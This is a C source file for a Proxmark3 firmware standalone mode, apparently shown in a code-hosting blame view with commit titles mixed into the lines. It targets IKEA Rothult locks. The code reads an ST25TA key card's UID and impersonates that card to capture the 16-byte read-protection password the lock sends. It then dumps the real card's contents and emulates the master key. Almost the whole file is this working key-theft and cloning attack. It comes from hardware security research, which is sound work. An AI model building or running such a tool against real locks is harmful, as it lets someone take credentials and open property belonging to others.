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proxmark3/armsrc/Standalone/hf_tcprst.c

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Create hf_tcprst standalone mode - IKEA Rothult
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//-----------------------------------------------------------------------------
// Nick Draffen, 2020
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// code for HF ST25TA IKEA Rothult read/sim/dump/emulation by Nick Draffen
//-----------------------------------------------------------------------------
#include "standalone.h"
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "string.h"
#include "BigBuf.h"
#include "iso14443a.h"
#include "protocols.h"
#include "cmd.h"
void ModInfo(void) {
DbpString(" HF - IKEA Rothult ST25TA, Standalone Master Key Dump/Emulation (ISO14443) - (Nick Draffen)");
}
/* This standalone implements four different modes: reading, simulating, dumping, & emulating.
*
make style
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* The initial mode is reading with LEDs A & D.
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* In this mode, the Proxmark is looking for an ST25TA card like those used by the IKEA Rothult,
* it will act as reader, and store the UID for simulation.
*
* If the Proxmark gets an ST25TA UID, it will change to simulation mode (LEDs A & C) automatically.
* During this mode the Proxmark will pretend to be the IKEA Rothult ST25TA master key, upon presentation
* to an IKEA Rothult the Proxmark will steal the 16 byte Read Protection key used to authenticate to the card.
*
* Once it gets the key, it will switch to dump mode (LEDs C & D) automatically. During this mode the Proxmark
* will act as a reader once again, but now we know the Read Protection key to authenticate to the card to dump
* it's contents so we can achieve full emulation.
make style
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*
* Once it dumps the contents of the card, it will switch to emulation mode (LED C) automatically.
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* During this mode the Proxmark should function as the original ST25TA IKEA Rothult Master Key
*
* Keep pressing the button down will quit the standalone cycle.
*
* LEDs:
* LED A & D = in reading mode
* LED A & C = in simulation mode, to steal Read Protection key
* LED C & D = in dump mode, to authenticate to card and dump NDEF content
* LED C = in emulation mode
* LED B = receiving/sending commands, activity
*
* Thanks to Salvador Mendoza for which this standalone mode is based off
* Thanks to iceman for his assistance on the ST25TA research
*/
void RunMod(void) {
StandAloneMode();
DbpString(_YELLOW_(">>") "IKEA Rothult ST25TA Standalone (tcprst) Started " _YELLOW_("<<"));
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
uint8_t stuid[7] = {0x00};
//For reading process
iso14a_card_select_t card_a_info;
uint8_t apdubuffer[MAX_FRAME_SIZE] = { 0x00 };
// APDUs necessary to dump NDEF
// ----------------------------
// Select NDEF Application
make style
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uint8_t ndef_app[13] = {0x00, 0xa4, 0x04, 0x00, 0x07, 0xd2, 0x76, 0x00, 0x00, 0x85, 0x01, 0x01, 0x00};
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// Select NDEF File
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uint8_t ndef_sel[7] = {0x00, 0xa4, 0x00, 0x0c, 0x02, 0x00, 0x01};
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// Read verification without password
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uint8_t verify[5] = {0x00, 0x20, 0x00, 0x01, 0x00};
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// Read verification with password
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uint8_t verify_pwd[21] = {0x00, 0x20, 0x00, 0x01, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
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// Read NDEF file contents
uint8_t ndef_read[5] = {0x00, 0xb0, 0x00, 0x00, 0x1d};
uint8_t *apdus[5] = {ndef_app, ndef_sel, verify, verify_pwd, ndef_read};
uint8_t apdusLen [5] = { sizeof(ndef_app), sizeof(ndef_sel), sizeof(verify), sizeof(verify_pwd), sizeof(ndef_read)};
// NDEF file contents
uint8_t ndef[31] = {0x00, 0x1b, 0xd1, 0x01, 0x17, 0x54, 0x02, 0x7a, 0x68, 0xa2, 0x34, 0xcb, 0xd0, 0xe2, 0x03, 0xc7, 0x3e, 0x62, 0x0b, 0xe8, 0xc6, 0x3c, 0x85, 0x2c, 0xc5, 0x31, 0x31, 0x31, 0x32, 0x90, 0x00};
uint8_t ndef_len = 31;
// Did we get the read protection key from the Rothult
bool gotkey = false;
// Did we get the NDEF file contents from the card
bool gotndef = false;
//ST25TA Rothult values
#define SAK 0x20
#define ATQA0 0x42
#define ATQA1 0x00
// Allocate 512 bytes for the dynamic modulation, created when the reader queries for it
// Such a response is less time critical, so we can prepare them on the fly
#define DYNAMIC_RESPONSE_BUFFER_SIZE 64
#define DYNAMIC_MODULATION_BUFFER_SIZE 512
uint8_t flags = FLAG_7B_UID_IN_DATA; // ST25TA have 7B UID
uint8_t data[PM3_CMD_DATA_SIZE] = {0x00}; // in case there is a read command received we shouldn't break
// to initialize the emulation
uint8_t tagType = 10; // 10 = ST25TA IKEA Rothult
tag_response_info_t *responses;
uint32_t cuid = 0;
uint32_t counters[3] = { 0x00, 0x00, 0x00 };
uint8_t tearings[3] = { 0xbd, 0xbd, 0xbd };
uint8_t pages = 0;
// command buffers
uint8_t receivedCmd[MAX_FRAME_SIZE] = { 0x00 };
uint8_t receivedCmdPar[MAX_PARITY_SIZE] = { 0x00 };
uint8_t dynamic_response_buffer[DYNAMIC_RESPONSE_BUFFER_SIZE] = {0};
uint8_t dynamic_modulation_buffer[DYNAMIC_MODULATION_BUFFER_SIZE] = {0};
// handler - command responses
tag_response_info_t dynamic_response_info = {
.response = dynamic_response_buffer,
.response_n = 0,
.modulation = dynamic_modulation_buffer,
.modulation_n = 0
};
// States for standalone
#define STATE_READ 0
#define STATE_SIM 1
#define STATE_DUMP 2
#define STATE_EMUL 3
uint8_t state = STATE_READ;
DbpString(_YELLOW_("[ ") "Initialized reading mode" _YELLOW_(" ]"));
DbpString("\n"_YELLOW_("!!") "Waiting for an IKEA ST25TA card...");
for (;;) {
WDT_HIT();
// exit from RunMod, send a usbcommand.
if (data_available()) break;
// Was our button held down or pressed?
int button_pressed = BUTTON_HELD(1000);
if (button_pressed == BUTTON_HOLD) { //Holding down the button
break;
}
SpinDelay(500);
if (state == STATE_READ) {
LED_D_ON();
LED_A_ON();
// Get UID of ST25TA Card to simulate
iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD);
if (iso14443a_select_card(NULL, &card_a_info, NULL, true, 0, false)) {
DbpString(_YELLOW_("+") "Found ISO 14443 Type A!");
if (card_a_info.sak == SAK && card_a_info.atqa[0] == ATQA0 && card_a_info.atqa[1] == ATQA1 && card_a_info.uidlen == 7) {
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DbpString(_YELLOW_("+") "Found ST25TA with UID: ");
Dbhexdump(card_a_info.uidlen, card_a_info.uid, 0);
memcpy(stuid, card_a_info.uid, card_a_info.uidlen);
state = STATE_SIM;
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} else {
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DbpString("Found non-ST25TA card, ignoring.");
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}
}
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
} else if (state == STATE_SIM) {
LED_C_ON();
//Simulate tag to get PWD
// free eventually allocated BigBuf memory but keep Emulator Memory
BigBuf_free_keep_EM();
memcpy(data, stuid, sizeof(stuid));
if (SimulateIso14443aInit(tagType, flags, data, &responses, &cuid, counters, tearings, &pages) == false) {
BigBuf_free_keep_EM();
reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0);
DbpString(_YELLOW_("!!") "Error initializing the simulation process!");
SpinDelay(500);
state = STATE_READ;
DbpString(_YELLOW_("[ ") "Initialized reading mode" _YELLOW_(" ]"));
DbpString("\n" _YELLOW_("!!") "Waiting for an ST25TA card...");
break;
}
// We need to listen to the high-frequency, peak-detected path.
iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN);
int len = 0; // command length
int retval = PM3_SUCCESS; // to check emulation status
bool odd_reply = true;
clear_trace();
set_tracing(true);
while (!gotkey) {
LED_B_OFF();
// Clean receive command buffer
if (!GetIso14443aCommandFromReader(receivedCmd, receivedCmdPar, &len)) {
DbpString(_YELLOW_("!!") "Emulator stopped");
retval = PM3_EOPABORTED;
break;
}
tag_response_info_t *p_response = NULL;
LED_B_ON();
// dynamic_response_info will be in charge of responses
dynamic_response_info.response_n = 0;
// Checking the commands order is important and elemental
if (receivedCmd[0] == ISO14443A_CMD_REQA && len == 1) { // Received a REQUEST
odd_reply = !odd_reply;
if (odd_reply)
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p_response = &responses[RESP_INDEX_ATQA];
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} else if (receivedCmd[0] == ISO14443A_CMD_HALT && len == 4) { // Received a HALT
p_response = NULL;
make style
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} else if (receivedCmd[0] == ISO14443A_CMD_WUPA && len == 1) { // Received a WAKEUP
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p_response = &responses[RESP_INDEX_ATQA];
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} else if (receivedCmd[1] == 0x20 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 2) { // Received request for UID (cascade 1)
Group 14a sim response indexes in header
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p_response = &responses[RESP_INDEX_UIDC1];
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} else if (receivedCmd[1] == 0x20 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2 && len == 2) { // Received request for UID (cascade 2)
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p_response = &responses[RESP_INDEX_UIDC2];
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} else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 9) { // Received a SELECT (cascade 1)
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p_response = &responses[RESP_INDEX_SAKC1];
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} else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2 && len == 9) { // Received a SELECT (cascade 2)
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p_response = &responses[RESP_INDEX_SAKC2];
Create hf_tcprst standalone mode - IKEA Rothult
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} else if (receivedCmd[0] == ISO14443A_CMD_RATS && len == 4) { // Received a RATS request
Group 14a sim response indexes in header
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p_response = &responses[RESP_INDEX_RATS];
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} else if (receivedCmd[0] == ISO14443A_CMD_PPS) {
Group 14a sim response indexes in header
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p_response = &responses[RESP_INDEX_PPS];
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} else {
DbpString(_YELLOW_("[ ") "Card reader command" _YELLOW_(" ]"));
Dbhexdump(len, receivedCmd, false);
if (receivedCmd[0] == 0x02 || receivedCmd[0] == 0x03) { //Emulate an ST25TA IKEA Rothult Master Key
dynamic_response_info.response[0] = receivedCmd[0];
if (memcmp("\x02\xa2\xb0\x00\x00\x1d\x51\x69", receivedCmd, 8) == 0) {
dynamic_response_info.response[0] = receivedCmd[0];
memcpy(dynamic_response_info.response + 1, ndef, 31);
dynamic_response_info.response_n = 32;
} else if (memcmp("\x02\x00\x20\x00\x01\x00\x6e\xa9", receivedCmd, 8) == 0) {
dynamic_response_info.response[0] = receivedCmd[0];
dynamic_response_info.response[1] = 0x63;
dynamic_response_info.response[2] = 0x00;
dynamic_response_info.response_n = 3;
} else if (memcmp("\x03\x00\x20\x00\x01\x10", receivedCmd, 6) == 0) {
memcpy(verify_pwd + 5, receivedCmd + 6, 16);
DbpString("Reader sent password: ");
Dbhexdump(16, verify_pwd + 5, 0);
dynamic_response_info.response[0] = receivedCmd[0];
dynamic_response_info.response[1] = 0x90;
dynamic_response_info.response[2] = 0x00;
dynamic_response_info.response_n = 3;
gotkey = true;
state = STATE_DUMP;
} else {
dynamic_response_info.response[0] = receivedCmd[0];
dynamic_response_info.response[1] = 0x90;
dynamic_response_info.response[2] = 0x00;
dynamic_response_info.response_n = 3;
}
} else {
DbpString(_YELLOW_("!!") "Received unknown command!");
memcpy(dynamic_response_info.response, receivedCmd, len);
dynamic_response_info.response_n = len;
}
}
if (dynamic_response_info.response_n > 0) {
DbpString(_GREEN_("[ ") "Proxmark3 answer" _GREEN_(" ]"));
Dbhexdump(dynamic_response_info.response_n, dynamic_response_info.response, false);
DbpString("----");
// Add CRC bytes, always used in ISO 14443A-4 compliant cards
AddCrc14A(dynamic_response_info.response, dynamic_response_info.response_n);
dynamic_response_info.response_n += 2;
if (prepare_tag_modulation(&dynamic_response_info, DYNAMIC_MODULATION_BUFFER_SIZE) == false) {
SpinDelay(500);
DbpString(_YELLOW_("!!") "Error preparing Proxmark to answer!");
continue;
}
p_response = &dynamic_response_info;
}
if (p_response != NULL) {
EmSendPrecompiledCmd(p_response);
}
}
switch_off();
set_tracing(false);
BigBuf_free_keep_EM();
reply_ng(CMD_HF_MIFARE_SIMULATE, retval, NULL, 0);
} else if (state == STATE_DUMP) {
LED_A_OFF();
LED_C_ON();
LED_D_ON();
iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD);
if (iso14443a_select_card(NULL, &card_a_info, NULL, true, 0, false)) {
DbpString(_YELLOW_("+") "Found ISO 14443 Type A!");
for (uint8_t i = 0; i < 5; i++) {
gotndef = false;
LED_B_ON();
uint8_t apdulen = iso14_apdu(apdus[i], (uint16_t) apdusLen[i], false, apdubuffer, NULL);
if (apdulen > 0) {
DbpString(_YELLOW_("[ ") "Proxmark command" _YELLOW_(" ]"));
Dbhexdump(apdusLen[i], apdus[i], false);
DbpString(_GREEN_("[ ") "Card answer" _GREEN_(" ]"));
Dbhexdump(apdulen - 2, apdubuffer, false);
DbpString("----");
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if (i == 4) {
if (apdubuffer[1] == 0x1b && apdubuffer[2] == 0xd1 && !gotndef) { //Get NDEF Data
gotndef = true;
memcpy(&ndef, &apdubuffer, apdulen - 2);
break;
}
}
make style
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} else {
DbpString(_YELLOW_("!!") "Error reading the card");
}
LED_B_OFF();
}
if (gotndef) {
DbpString(_RED_("[ ") "NDEF File" _RED_(" ]"));
Dbhexdump(ndef_len, (uint8_t *)ndef, false);
DbpString("---");
LED_C_ON();
state = STATE_EMUL;
DbpString(_YELLOW_("[ ") "Initialized emulation mode" _YELLOW_(" ]"));
DbpString("\n"_YELLOW_("!!") "Waiting for a card reader...");
}
}
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
} else if (state == STATE_EMUL) {
LED_D_OFF();
LED_C_ON();
// free eventually allocated BigBuf memory but keep Emulator Memory
BigBuf_free_keep_EM();
memcpy(data, stuid, sizeof(stuid));
if (SimulateIso14443aInit(tagType, flags, data, &responses, &cuid, counters, tearings, &pages) == false) {
BigBuf_free_keep_EM();
reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0);
DbpString(_YELLOW_("!!") "Error initializing the simulation process!");
SpinDelay(500);
state = STATE_READ;
DbpString(_YELLOW_("[ ") "Initialized reading mode" _YELLOW_(" ]"));
DbpString("\n" _YELLOW_("!!") "Waiting for an ST25TA card...");
break;
}
// We need to listen to the high-frequency, peak-detected path.
iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN);
int len = 0; // command length
int retval = PM3_SUCCESS; // to check emulation status
bool odd_reply = true;
clear_trace();
set_tracing(true);
for (;;) {
LED_B_OFF();
// Clean receive command buffer
if (!GetIso14443aCommandFromReader(receivedCmd, receivedCmdPar, &len)) {
DbpString(_YELLOW_("!!") "Emulator stopped");
retval = PM3_EOPABORTED;
break;
}
tag_response_info_t *p_response = NULL;
LED_B_ON();
// dynamic_response_info will be in charge of responses
dynamic_response_info.response_n = 0;
// Checking the commands order is important and elemental
if (receivedCmd[0] == ISO14443A_CMD_REQA && len == 1) { // Received a REQUEST
odd_reply = !odd_reply;
if (odd_reply)
Group 14a sim response indexes in header
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p_response = &responses[RESP_INDEX_ATQA];
Create hf_tcprst standalone mode - IKEA Rothult
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} else if (receivedCmd[0] == ISO14443A_CMD_HALT && len == 4) { // Received a HALT
p_response = NULL;
make style
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} else if (receivedCmd[0] == ISO14443A_CMD_WUPA && len == 1) { // Received a WAKEUP
Group 14a sim response indexes in header
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p_response = &responses[RESP_INDEX_ATQA];
Create hf_tcprst standalone mode - IKEA Rothult
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} else if (receivedCmd[1] == 0x20 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 2) { // Received request for UID (cascade 1)
Group 14a sim response indexes in header
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p_response = &responses[RESP_INDEX_UIDC1];
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} else if (receivedCmd[1] == 0x20 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2 && len == 2) { // Received request for UID (cascade 2)
Group 14a sim response indexes in header
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p_response = &responses[RESP_INDEX_UIDC2];
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} else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 9) { // Received a SELECT (cascade 1)
Group 14a sim response indexes in header
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p_response = &responses[RESP_INDEX_SAKC1];
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} else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2 && len == 9) { // Received a SELECT (cascade 2)
Group 14a sim response indexes in header
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p_response = &responses[RESP_INDEX_SAKC2];
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} else if (receivedCmd[0] == ISO14443A_CMD_RATS && len == 4) { // Received a RATS request
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p_response = &responses[RESP_INDEX_RATS];
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} else if (receivedCmd[0] == ISO14443A_CMD_PPS) {
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p_response = &responses[RESP_INDEX_PPS];
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} else {
DbpString(_YELLOW_("[ ") "Card reader command" _YELLOW_(" ]"));
Dbhexdump(len, receivedCmd, false);
if (receivedCmd[0] == 0x02 || receivedCmd[0] == 0x03) { //Emulate an ST25TA IKEA Rothult Master Key
dynamic_response_info.response[0] = receivedCmd[0];
if (memcmp("\x02\xa2\xb0\x00\x00\x1d\x51\x69", receivedCmd, 8) == 0) {
dynamic_response_info.response[0] = receivedCmd[0];
memcpy(dynamic_response_info.response + 1, ndef, 31);
dynamic_response_info.response_n = 32;
} else if (memcmp("\x02\x00\x20\x00\x01\x00\x6e\xa9", receivedCmd, 8) == 0) {
dynamic_response_info.response[0] = receivedCmd[0];
dynamic_response_info.response[1] = 0x63;
dynamic_response_info.response[2] = 0x00;
dynamic_response_info.response_n = 3;
} else if (memcmp("\x03\x00\x20\x00\x01\x10", receivedCmd, 6) == 0) {
memcpy(verify_pwd + 5, receivedCmd + 6, 16);
DbpString("Reader sent password: ");
Dbhexdump(16, verify_pwd + 5, 0);
dynamic_response_info.response[0] = receivedCmd[0];
dynamic_response_info.response[1] = 0x90;
dynamic_response_info.response[2] = 0x00;
dynamic_response_info.response_n = 3;
} else {
dynamic_response_info.response[0] = receivedCmd[0];
dynamic_response_info.response[1] = 0x90;
dynamic_response_info.response[2] = 0x00;
dynamic_response_info.response_n = 3;
}
} else {
DbpString(_YELLOW_("!!") "Received unknown command!");
memcpy(dynamic_response_info.response, receivedCmd, len);
dynamic_response_info.response_n = len;
}
}
if (dynamic_response_info.response_n > 0) {
DbpString(_GREEN_("[ ") "Proxmark3 answer" _GREEN_(" ]"));
Dbhexdump(dynamic_response_info.response_n, dynamic_response_info.response, false);
DbpString("----");
// Add CRC bytes, always used in ISO 14443A-4 compliant cards
AddCrc14A(dynamic_response_info.response, dynamic_response_info.response_n);
dynamic_response_info.response_n += 2;
if (prepare_tag_modulation(&dynamic_response_info, DYNAMIC_MODULATION_BUFFER_SIZE) == false) {
SpinDelay(500);
DbpString(_YELLOW_("!!") "Error preparing Proxmark to answer!");
continue;
}
p_response = &dynamic_response_info;
}
if (p_response != NULL) {
EmSendPrecompiledCmd(p_response);
}
}
switch_off();
set_tracing(false);
BigBuf_free_keep_EM();
reply_ng(CMD_HF_MIFARE_SIMULATE, retval, NULL, 0);
}
}
DbpString(_YELLOW_("[=]") "exiting");
LEDsoff();
}
Reference in a new issue Copy permalink